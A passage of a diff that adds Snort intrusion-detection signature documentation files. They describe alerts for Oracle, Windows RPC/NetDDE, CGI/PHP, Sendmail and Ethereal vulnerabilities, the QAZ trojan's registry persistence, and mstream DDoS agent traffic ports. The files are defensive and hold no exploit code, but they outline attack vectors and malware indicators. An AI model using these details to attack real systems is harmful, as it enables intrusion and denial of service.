+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2553.txt
+++ snort-2.8.5.2/doc/signatures/2553.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2553
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/818.txt
+++ snort-2.8.5.2/doc/signatures/818.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+818
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1852.txt
+++ snort-2.8.5.2/doc/signatures/1852.txt
@@ -0,0 +1,53 @@
+Rule:  
+
+--
+Sid:
+1852
+--
+Summary:
+This event is generated when an attempt is made to access the file robots.txt directly.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Robots.txt access is usually made by search robots for site indexing. A webmaster sometimes adds information for areas of the site that should not be indexed by the engine. This can include user directories and files and directories used in administration of the server.
+
+The information gathered from robots.txt could be used for system compromise and control of the web server.
+
+--
+Attack Scenarios:
+The attacker could retrieve robots.txt from the server, then discover the path to an unprotected administration interface for the server. The attacker can then gain control of the webserver using this interface.
+
+--
+Ease of Attack:
+Simple. An attacker needs only to find a critical file listed in robots.txt and access it through a browser.
+
+--
+False Positives:
+Many search engine's have robots that check robots.txt for information about the site. This isn't a hack attempt.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Consider using the robots Meta tag in web pages to disallow search engine indexing.
+
+Do not place any sensitive information in the root directory of the webserver. This will negate the need to add these entries to robots.txt.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2556.txt
+++ snort-2.8.5.2/doc/signatures/2556.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2556
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1520.txt
+++ snort-2.8.5.2/doc/signatures/1520.txt
@@ -0,0 +1,90 @@
+Rule:  
+
+--
+Sid:
+1520
+
+--
+Summary:
+This event is generated when an attempt is made to access server-info.
+Using the Apache webserver, this url is generally handled by the
+mod_info module, which will happily disclose valuable information about
+your webserver which may aid in their attack.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+The mod_info module "provides a comprehensive overview of the server
+configuration including all installed modules and directives in the
+configuration files" for the Apache webserver.  Successfully accessing the url
+that is handle by mod_info may give an attacker valuable information about
+the server.
+
+If mod_info is in use and the attacking host is allowed to access it,
+every possible configuration option that the Apache server is using can
+be viewed. This includes ACLs, modules, file and directory names, and
+other valuable information that will help an attacker determine ways of
+attacking the server.
+
+--
+Affected Systems:
+	Apache webservers with mod_info enabled.
+ 
+--
+Attack Scenarios:
+As part of an attack against an Apache webserver, an attacker may try to
+access "/server-info" which is typically handled by the mod_info module.  If
+sucessful, this will give valuable information about the webserver for
+use in further attacks. 
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+Few, but certainly possible.  Since this rule only checks for the
+existance of "/server-info" in the url, any url containing that string will
+trigger this rule.  A few common false positives may include urls like:
+
+http://victim/server-info/contact.html
+http://victim/really/long/directory/server-info.html
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if server-info exists on the victim in question, and if the attacker
+is allowed to access it.
+
+If mod_info is necessary on this server, consider restricting access to
+it via Apache directives, i.e.:
+
+<Location /server-info>
+    SetHandler server-info
+    Order deny,allow
+    Deny from all
+    Allow from .yourdomain.net
+</Location>
+
+
+--
+Contributors:
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+Apache:
+http://httpd.apache.org/docs/mod/mod_info.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2636.txt
+++ snort-2.8.5.2/doc/signatures/2636.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2636
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_snapshot.begin_load" procedure is used for
+offline instantiation of snapshots.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-12.txt
+++ snort-2.8.5.2/doc/signatures/111-12.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-12
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a scan is in progress. In this case, indications are that the tool nmap
+is being use to determine the operating system of the target host.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2906.txt
+++ snort-2.8.5.2/doc/signatures/2906.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2906
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1035.txt
+++ snort-2.8.5.2/doc/signatures/1035.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1035
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1425.txt
+++ snort-2.8.5.2/doc/signatures/1425.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1425
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/429.txt
+++ snort-2.8.5.2/doc/signatures/429.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+429
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Bad SPI datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 0 datagrams are an indication that a received datagram has an invalid SPI that is invalid or has expired.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 0 datagrams are generated when a received datagram includes a SPI (Security Parameters Index) that is invalid or has expired.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1479.txt
+++ snort-2.8.5.2/doc/signatures/1479.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1479
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2197.txt
+++ snort-2.8.5.2/doc/signatures/2197.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid:
+2197
+
+--
+Summary:
+This event is generated when an attempt is made to access cvsview2.cgi on an internal web server. This may indicate an attempt to exploit an information disclosure vulnerability in Mozilla Bonsai 1.3.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Mozilla Bonsai, a CVS query tool, contains an information disclosure vulnerability in cvsview2.cgi. An attacker can discover the location of the Mozilla Bonsai application by sending a malformed request to the application, which produces an error. The error message shows the full path of the cvsview2.cgi file, providing the attacker with information about the server directory structure.
+
+--
+Affected Systems:
+Any system running Mozilla Bonsai 1.3.
+
+--
+Attack Scenarios:
+An attacker sends an erroneous request to cvsview2.cgi on the Bonsai server. The error message returns the full path of the script, allowing the attacker to discover more information about the server directory structure for possible use in later attacks.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses cvsview2.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer build of Mozilla Bonsai 1.3.
+
+If you are running Mozilla Bonsai on Debian 3.0, Debian has provided patches at http://security.debian.org/pool/updates/main/b/bonsai/.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/5517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/733.txt
+++ snort-2.8.5.2/doc/signatures/733.txt
@@ -0,0 +1,97 @@
+Rule:
+
+--
+Sid:
+733
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1573.txt
+++ snort-2.8.5.2/doc/signatures/1573.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1573
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3236.txt
+++ snort-2.8.5.2/doc/signatures/3236.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3236
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2930.txt
+++ snort-2.8.5.2/doc/signatures/2930.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2930
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/246.txt
+++ snort-2.8.5.2/doc/signatures/246.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+246
+
+--
+Summary:
+This event is generated when an mstream agent responds to an mstream handler's "ping" request.
+
+--
+Impact:
+Severe.  If the listed source IP is in your network, it may be an mstream agent.  If the listed destination IP is in your network, it may be an mstream agent.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.  There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  A handler can probe to see if an agent is active by sending it a UDP packet to destination port 10498 with a string of "ping" in the payload.  An active agent will reply with a UDP packet to destination port 6838 with a string of "pong" in payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+A mstream agent may respond with a "pong" to a "ping" request from a handler. 
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known agent-to-handler ports in addition to 6838.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+NAI:
+http://vil.nai.com/vil/content/v_98662.htm
+SecurityFocus:
+http://www.securityfocus.com/archive/82/58040
+CERT:
+http://www.cert.org/incident_notes/IN-2000-05.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2270.txt
+++ snort-2.8.5.2/doc/signatures/2270.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2270
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
